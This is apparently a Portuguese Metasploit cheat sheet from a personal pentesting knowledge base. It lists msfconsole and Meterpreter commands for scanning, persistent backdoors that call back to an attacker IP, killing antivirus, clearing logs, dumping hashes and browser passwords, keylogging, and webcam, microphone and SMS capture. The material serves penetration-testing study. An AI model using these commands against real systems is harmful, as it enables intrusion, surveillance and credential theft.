# Metasploit

### Inicializando

Devido ao grande número de ataques possíveis com o Metasploit (fora demais recursos que ele possui), decidi deixar um tópico somente para isso. Para inicializá-lo, execute:

```bash
msfconsole
```

Caso queira já iniciar com os parâmetros já configurados, crie um arquivo com cada "set" em uma linha, e utilize o comando abaixo:

```bash
msfconsole -r <file_config>
```

### Trabalhando com Banco de Dados

```bash
msfdb run
```

{% hint style="info" %}
**DICA**: Assim que executar o comando, irá ser exibido o arquivo de configuração do banco (caso precise alterar algo). Geralmente o caminho do arquivo deve ser **`/usr/share/metasploit-framework/config/database.yml`**.
{% endhint %}

Para ver as credenciais que já capturadas, execute:

```bash
creds
```

###

### MsfDB

O Metasploit trabalha com um o PostgreSQL para armazenar informações que podem ser utilizadas posteriormente.

### Comandos Meterpreter

No diretório `/usr/share/metasploit-framework/scripts/meterpreter`, há vários scripts que podem ser chamados pelo Meterpreter, através do comando `run` ex.: `run persistence`.\
Caso queira adicionar um novo meterpreter, basta copiar o arquivo `.rb` para esse diretório e depois executar (já no meterpreter) `run <payload>`

Obviamente para rodar um payload (no caso o meterpreter), precisa ter um exploit, então caso tenha baixado algum da net, jogue o exploit (que geralmente é uma pasta) em `/usr/share/metasploit-framework/data/exploits/` ou `/usr/share/metasploit-framework/modules/exploits/`.

Sempre que adicionar um novo script, execute o comando abaixo (dentro do Metasploit) para atualizar a lista:

```
reload_all
```

{% hint style="success" %}
**DICA**: É normal montarmos uma Reverse Shell com o Meterpreter e a sessão cair logo após. Para contornarmos isso, podemos utilizar o `migrate` (explicação logo abaixo), ou configurar o Metasploit com o comando `set AutoRunScript post/windows/manage/migrate`, sendo isso antes do comando `exploit`.

Outra maneira, é executando o comando `set AutoRunScript 'post/windows/manage/migrate'`, antes mesmo da shell meterpreter tiver 100% formada.
{% endhint %}

| **COMANDO**                                                                  | **DESCRIÇÃO**                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
| ---------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `msfupdate`                                                                  | Atualiza os componentes do Metasploit (recomendado atualizar pelo menos uma vez por semana)                                                                                                                                                                                                                                                                                                                                                                            |
| `msfconsole`                                                                 | Inicia o Metasploit                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
| `help`                                                                       | Lista os comandos                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
| `show`                                                                       | Mostra todos os comandos                                                                                                                                                                                                                                                                                                                                                                                                                                               |
| `show auxiliary`                                                             | Mostra todos os comandos para auxiliary. Auxiliary são ferramentas auxiliares que não estão ligadas diretamente com o exploit, mas faz parte do processo de ataque, exemplo: Scanners, DDOS, Fuzzers, etc                                                                                                                                                                                                                                                              |
| `show exploits`                                                              | Mostra todos os exploits                                                                                                                                                                                                                                                                                                                                                                                                                                               |
| `show payloads`                                                              | Mostra todos os payloads. Se tiver um exploit já selecionado, irá mostrar somente os payloads para esse exploit. Repare se o payload é **Inline** ou **Staged**, lembrando que, caso não apareca o seu tipo, assume-se que ele é Inline                                                                                                                                                                                                                                |
| `show options`                                                               | Mostra as configurações que estão disponíveis  e / ou são necessarias para o módulo específico                                                                                                                                                                                                                                                                                                                                                                         |
| `show targets`                                                               | Execute esse comando dentro do contexto de um módulo (ou seja, depois e já selecionar o módulo), assim irá saber se o SO é vulnerável a essa exploração                                                                                                                                                                                                                                                                                                                |
| `show advanced`                                                              | <p>Mostra o aperfeiçoamento das falhas de segurança. Para ver todas as opções do <code>shows</code>, digite <code>show</code> e pressione <code>TAB</code> duas vezes<br><br><strong>OBS.:</strong> Se você estiver utilizando uma exploração particular (ex.: Windows), ao executar o <code>show payload</code>, não será mostrado os Payloads do Linux</p>                                                                                                           |
| `search`                                                                     | <p>Utilizado para quem tem uma idéia de que realmente sabe o que procura, ex<code>.: search ms09-001</code></p><p></p><p><strong>OBS.:</strong> Caso apareca uma mensagem informando que não foi possível conectar ao banco de dados (<code>\[!] Module database cache not built yet, using slow search</code>), corrija-o no tutorial contido aqui na Wiki</p>                                                                                                        |
| `help <command>`                                                             | Mostra a ajuda sobre determinado comando                                                                                                                                                                                                                                                                                                                                                                                                                               |
| `sessions -u <session_id>`                                                   | Atualiza sua Reverse Shell não-Meterpreter para uma shell Meterpreter                                                                                                                                                                                                                                                                                                                                                                                                  |
| `use post/multi/manage/shell_to_meterpreter`                                 | Antes de executar, pressione `CTRL` + `Z` para jogar a session atual em background. Após definir o uso de `shell_to`*`_`*`meterpreter`, configure a session atual                                                                                                                                                                                                                                                                                                      |
| `getenv PATH`                                                                | Exibe as variáveis de ambiente                                                                                                                                                                                                                                                                                                                                                                                                                                         |
| `sysinfo`                                                                    | Informações sobre o SO                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
| `info`                                                                       | <p>Fornece infomações detalhadas sobre um módulo em particular, incluindo todas as opções disponíveis.</p><p><strong>Ex</strong>.: info dos/windows/smb/ms09\_001\_write</p>                                                                                                                                                                                                                                                                                           |
| `use`                                                                        | <p>Quando estiver decidido sobre um módulo específico, utilize esse comando para selecioná-lo.<br><strong>Ex</strong>.: use exploit/windows/smb/ms03\_049\_netapi</p>                                                                                                                                                                                                                                                                                                  |
| `connect`                                                                    | <p>Utilize esse comando junto com um endereço IP e o número da porta, assim irá se conectar a um host remoto de dentro do msfconsole como se estivesse no netcat ou no telnet<br><strong>Ex</strong>.: connect 192.168.1.13 23</p>                                                                                                                                                                                                                                     |
| `set`                                                                        | <p>Comando utilizado para definir configurações as opções do módulo que está trabalhando no momento.<br><strong>Ex</strong>: set RHOST 192.168.1.13<br><strong>Ex 2</strong>.: set rhosts 192.168.1.20-192.168.1.30 ou 192.168.1.0/24, 192.168.3.0/24) , </p>                                                                                                                                                                                                          |
| `sessions, background -l`, `sessions-l`                                      | Lista as sessões que estão ativas                                                                                                                                                                                                                                                                                                                                                                                                                                      |
| `sessions <id_session>`, `background -i <id_session>`                        | Acessa a sessão                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
| `show encoders`                                                              | Define um codificador para usar em tempo de execução. Isso é particularmente útil no desenvolvimento de explorar quando você não está completamente certo quanto à carga de métodos de codificação que irá trabalhar com um exploit. Depois de saber qual "encoder" utilizar, use o comando "set", ex.: set encoder x86/shikata\_ga\_nai                                                                                                                               |
| `check`                                                                      | Utilize esse comando depois de definir o exploit e o IP do alvo (RHOST). Esse comando irá verificar se o host é vulnerável, antes mesmo de atacá-lo                                                                                                                                                                                                                                                                                                                    |
| `run`                                                                        | Executa todas as configurações já definidas, por meios dos comandos "exploit" e "set"                                                                                                                                                                                                                                                                                                                                                                                  |
| `back`                                                                       | Remove as configurações que definiu e deixa como se tivesse acaado de acessar o msfconsole                                                                                                                                                                                                                                                                                                                                                                             |
| `search -d </path/directory> -f *abc*`                                       | Procura por algum arquivo que tenha **abc** em alguma parte do nome                                                                                                                                                                                                                                                                                                                                                                                                    |
| `resource nome_arquivo.rc`                                                   | Alguns ataques como Karmetasploit usa um arquivo de recurso, que são scripts básicos para o msfconsole. Ele executa os comandos do arquivo em sequência                                                                                                                                                                                                                                                                                                                |
| `irb`                                                                        | Irá cair em Ruby Script de modo onde pode emitir comandos e criar scripts personalizados                                                                                                                                                                                                                                                                                                                                                                               |
| `background`                                                                 | Deixa a sessão do Meterpreter em segundo plano. O mesmo pode ser feito com `CTRL` + `Z`                                                                                                                                                                                                                                                                                                                                                                                |
| `clearev`                                                                    | Irá limpar o Aplicativos e Serviços (Visualizador de Eventos), do Windows                                                                                                                                                                                                                                                                                                                                                                                              |
| `checksum md5 <file>`                                                        | Gera um hash MD5 de um determinado arquivo                                                                                                                                                                                                                                                                                                                                                                                                                             |
| `ps`                                                                         | Serviços que estão sendo executados no Windows e seus respectivos PID                                                                                                                                                                                                                                                                                                                                                                                                  |
| `ps <pid>`                                                                   | Abre determinado programa                                                                                                                                                                                                                                                                                                                                                                                                                                              |
| `ps -S <search_proccess>`                                                    | Procura por um determinado processo                                                                                                                                                                                                                                                                                                                                                                                                                                    |
| `migrate <pid>`                                                              | <p>Migra o PID do exploit para outro PID, por exemplo, o do antivírus ou o explorer. Assim além do antivírus não acha o vírus e o vírus só será encerrado se o antivírus também for encerrado. Esse é sem dúvida um dos primeiros comandos a ser executado. Se quiser, pode utilizar o <code>-p</code> antes do \<pid>.<br>Utilizando o <code>migrate</code> que esteja para um serviço que seja de outro usuário, você irá fazer um impersonate para este usuário</p> |
| `screenshot`                                                                 | Realizar captura da tela da vítima                                                                                                                                                                                                                                                                                                                                                                                                                                     |
| `load powershell`                                                            | Carrega a extensão para utilizar o Powershell                                                                                                                                                                                                                                                                                                                                                                                                                          |
| `powershell_shell`                                                           | Abre a shell interativa do Powershell. Utilize antes o comando `load powershell` para habilitar essa funcionalidade.                                                                                                                                                                                                                                                                                                                                                   |
| `powershell_execute <command>"`                                              | Executa um comando no Powershell sem precisar entrar no modo interativo. Utilize antes o comando `load powershell` para habilitar essa funcionalidade.                                                                                                                                                                                                                                                                                                                 |
| `powershell_execute Enable-PSRemoting -Force`                                | Habilita o WinRM.                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
| `run persistence -S -L c:\\windows\\system32 -i 10 -p 4444 -r <ip_atacante>` | Faz com que o backdoor fique persistente. Assim que o usuário fizer login, irá tentar fazer uma nova conexão de 10 em 10 segundos                                                                                                                                                                                                                                                                                                                                      |
| `run killav`                                                                 | Mata o antivírus                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| `run enum_firefox`                                                           | Pega todas as senhas salvas e cookies utilizadas no firefox                                                                                                                                                                                                                                                                                                                                                                                                            |
| `run hostsedit`                                                              | Edita o arquivo hosts                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
| `run getcountermeasure`                                                      | Ignora o antivírus, firewall e IDS                                                                                                                                                                                                                                                                                                                                                                                                                                     |
| `steal_token <pid>`                                                          | Rouba o token. Por exemplo se roubarmos o PID do SQL Server, podemos ter acesso a todas as bases                                                                                                                                                                                                                                                                                                                                                                       |
| `download c:\\boot.ini`                                                      | Faz o download do arquivo para o Linux                                                                                                                                                                                                                                                                                                                                                                                                                                 |
| `upload /root/arquivo.txt c:\\windows`                                       | Faz upload do arquivo.                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
| `ipconfig`                                                                   | Mostra as interfaces de rede                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| `reboot`                                                                     | Reinicia a máquina                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
| `shutdown`                                                                   | Desliga a máquina                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
| `hashdump`                                                                   | Obtém os hashes dos usuários locais do SO                                                                                                                                                                                                                                                                                                                                                                                                                              |
| `use post/windows/gather/hashdump`                                           | <p>Pega os hashes dos usuários</p><p></p><p><strong>OBS.:</strong> Precisa ser Administrador do sistema</p>                                                                                                                                                                                                                                                                                                                                                            |
| `use post/windows/gather/cachedump`                                          | <p>Pega os hashes dos usuários que estão na memória</p><p></p><p><strong>OBS.:</strong> Precisa ser Administrador do sistema</p>                                                                                                                                                                                                                                                                                                                                       |
| `timestamp ­-h`                                                              | Comandos usados para evitar detecção por uma perícia forense                                                                                                                                                                                                                                                                                                                                                                                                           |
| `idletime`                                                                   | Mostra quanto tempo a vítima está afastada da sua máquina, ou seja não houve sequer interação com o mouse ou teclado                                                                                                                                                                                                                                                                                                                                                   |
| `cat c:\\<arquivo>`                                                          | Lê o arquivo e mostra a saída no terminal                                                                                                                                                                                                                                                                                                                                                                                                                              |
| `edit c:\\boot.ini`                                                          | Edita o arquivo atraves do VIM                                                                                                                                                                                                                                                                                                                                                                                                                                         |
| `getuid`                                                                     | Mostra a autoridade do usuário que está utilizando no momento no sistema (hostname / user)                                                                                                                                                                                                                                                                                                                                                                             |
| `pwd`                                                                        | Diretório atual na máquina alvo                                                                                                                                                                                                                                                                                                                                                                                                                                        |
| `lpwd`                                                                       | Executa o comando `pwd` na máquina no atacante                                                                                                                                                                                                                                                                                                                                                                                                                         |
| `uictl`                                                                      | Comando usado para controlar o teclado / mouse (ativar ou desativar) da vítima                                                                                                                                                                                                                                                                                                                                                                                         |
| `start`                                                                      | Abre um prompt no windows                                                                                                                                                                                                                                                                                                                                                                                                                                              |
| `clearenv`                                                                   | Limpa os log's do Windows                                                                                                                                                                                                                                                                                                                                                                                                                                              |
| `keyscan_start`                                                              | Instala um keyogger                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
| `keyscan_dump`                                                               | Resultado da captura do keyogger                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| `keyscan_stop`                                                               | Desliga o keylogger. Utilize o `keyscan_dump` antes do `keyscan_stop`                                                                                                                                                                                                                                                                                                                                                                                                  |
| `lcd Deskop`                                                                 | Altera o valor de lpwd para /root/Deskop                                                                                                                                                                                                                                                                                                                                                                                                                               |
| `tasklist`                                                                   | Serviços que estão sendo executados no Windows                                                                                                                                                                                                                                                                                                                                                                                                                         |
| `resource arquivo.txt`                                                       | <p>Executa os comandos do arquivo txt</p><p></p><p><strong>OBS.:</strong> Cada comando deve ficar em uma linha do arquivo txt</p>                                                                                                                                                                                                                                                                                                                                      |
| `search -f arquivo.txt`                                                      | Procura pelo arquivo arquivo.txt                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| `search -f sea*.bat c:\\xamp\\`                                              | Procura por um arquivo porém de forma mais avançada                                                                                                                                                                                                                                                                                                                                                                                                                    |
| `run getgui -u <usuario> -p <senha>`                                         | Acessa a máquina via Remote Desktop                                                                                                                                                                                                                                                                                                                                                                                                                                    |
| `arp`                                                                        | Mostra tabela ARP                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
| `use priv`                                                                   | Habilita extensão para ganho de privilégio                                                                                                                                                                                                                                                                                                                                                                                                                             |
| `getsystem`                                                                  | Acessa como usuário SYSTEM. Se aparecer escrito `Got system`, é porque deu certo                                                                                                                                                                                                                                                                                                                                                                                       |
| `getprivs`                                                                   | Acessa como usuário SYSTEM, semelhante ao comando `getsystem`                                                                                                                                                                                                                                                                                                                                                                                                          |
| `run post/windows/gather/win_privs`                                          | O mesmo que `getsystem`                                                                                                                                                                                                                                                                                                                                                                                                                                                |
| `execute -f c\\virus.exe`                                                    | Executa um arquivo em background na vítima                                                                                                                                                                                                                                                                                                                                                                                                                             |
| `rev2self`                                                                   | Comando usado para voltar para usuário antigo                                                                                                                                                                                                                                                                                                                                                                                                                          |
| `shell`                                                                      | Entra na Shell do SO                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| `webcam_list`                                                                | Mostra o nome das webcams                                                                                                                                                                                                                                                                                                                                                                                                                                              |
| `webcam_snap`                                                                | Tira foto através da webcam                                                                                                                                                                                                                                                                                                                                                                                                                                            |
| `webcam_snap -i 1 -v false`                                                  | Tira um print da tela da vítima                                                                                                                                                                                                                                                                                                                                                                                                                                        |
| `webcam_snap –I 2`                                                           | Tira print screen pela segunda câmera, caso haja (Android)                                                                                                                                                                                                                                                                                                                                                                                                             |
| `record_mic`                                                                 | Grava áudio da vítima                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
| `webcam_list`                                                                | Lista as webcams                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| `webcam_stream`                                                              | Acessa a Web em tempo real para fazer/gravar vídeos                                                                                                                                                                                                                                                                                                                                                                                                                    |
| `webcam_strream –I 2`                                                        | Grava vídeo pela segunda câmera, caso haja (Android)                                                                                                                                                                                                                                                                                                                                                                                                                   |
| `dump_contacts`                                                              | Faz um dump da agenda (Android)                                                                                                                                                                                                                                                                                                                                                                                                                                        |
| `dump_sms`                                                                   | Pegar os SMS (Android)                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
| `geolocate`                                                                  | Descobre a localização atual (Android)                                                                                                                                                                                                                                                                                                                                                                                                                                 |
| `run packetrecorder -li / run packetrecorder -i 1`                           | Executa o `tcpdump`                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
| `search -f *.txt`                                                            | Procura por arquivos com determinada extensão                                                                                                                                                                                                                                                                                                                                                                                                                          |

### Trabalhando com Variáveis

Assim que iniciar o msfconsole, digite `set`, para ver as variáveis globais já definidas.

| COMANDO                  | DESCRIÇÃO                                                                                                                                                            |
| ------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `setg`                   | Define variáveis globais dentro do `msfconsole`, assim pode usar com muitos exploits e módulos auxiliares e porderá usá-las na próxima vez que utilizar o msfconsole |
| `save`                   | Salva as variáveis definidas com `setg`. Caso não salve, serão apagados assim que fechar o msfconsole                                                                |
| `unsetg <nome_variavel>` | Sempre utilize esse comando para remover os comandos salvos (caso tenho costume de salvar)                                                                           |
| `unsetg all`             | Remove todas as variáveis                                                                                                                                            |

**Exemplo**

```bash
use exploit/multi/handler
setg RHOST <ip_alvo>
save
```

###

### Metasploit + NMAP

Antes de começar, certifique-se de que o PostgreSQL está em execução com o comando `service postgresql status`.

```bash
msfconsole

# Conecta-se ao banco de dados
db_connect postgres:postgres@localhost:5432/msf3

# Verifica se está conectado
db_status

# Varredura utilizando o NMAP
db_nmap 192.168.1.0/24

# Realiza varredura do SO e extrai resultado arquivo XML chamado subnet_192.168.1.0-OS
nmap -O 912.168.1.77 -oX subnet_192.168.1.0-OS

# Importa o resultado do subnet_192.168.1.0-OS.xml para o banco de dados do Metasploit
db_import subnet_192.168.1.0-OS

# Verifica os hosts que já foram armazenados no banco de dados pelo comando db_import
hosts

# O mesmo que o comando "hosts", porém filtrando somente pelos campos de endereço e SO
hosts -c address,os_name

# Comando semelhante ao "hosts", porém mostra portas, protocolos, nomes, estados, etc
services

# O comando "services" pode ser utilizado para mostrar todas as portas abertas e os serviços disponível em "hosts" já identificados também é possível filtrar esses dados.
# Nesse exemplo está filtrando todos os hosts com SSH disponível
services -s ssh
```

###

### Localizando Máquinas Zumbis

```bash
msfconsole
use auxiliary/scanner/ip/ipidseq
set RHOSTS 192.168.1.1/24
set THREADS 50
set INTERFACE wlan0
run
```

###

### Descobrindo SO

```bash
msfconsole
use scanner/smb/smb_version
set RHOSTS 192.168.1.0/24
set THREADS 50
run
```

**OBS.:** Observe que agora as informações recém-adquiridas são armazenadas no banco de dados do Metasploit. Para isso digite no terminal: `db_hosts`

###

### Listando E-mails

```bash
msfconsole
use auxiliary/gather/search_email_collector
set DOMAIN <domain.com>
run
```

###

### Port Scan

Realizando scan em todos os hosts que possuem a porta 80 aberta

```bash
msfconsole
use scanner/portscan/syn
set INTERFACE <interface>
set PORTS 80
set RHOSTS 192.168.1.0/24
set THREADS 30
run
```

**OBS.:** Caso queira listar todos os "portscan", digite: `search portscan`

### VNC

Procurando por alvo com VNC instalado

```bash
use auxiliary/scanner/vnc/vnc_login
set rhosts <ip>
run
```

Scan por no-auth

```bash
use auxiliary/scanner/vnc/vnc_none_auth
set rhosts <ip>
run
```

Obtendo a senha do VNC

```bash
use post/windows/gather/credentials/vnc
set session <session>
exploit
```

####

#### Sites

```bash
https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#metasploit-powershell-modules
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://mysther.gitbook.io/knowledge-base/ataques/tools/metasploit.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
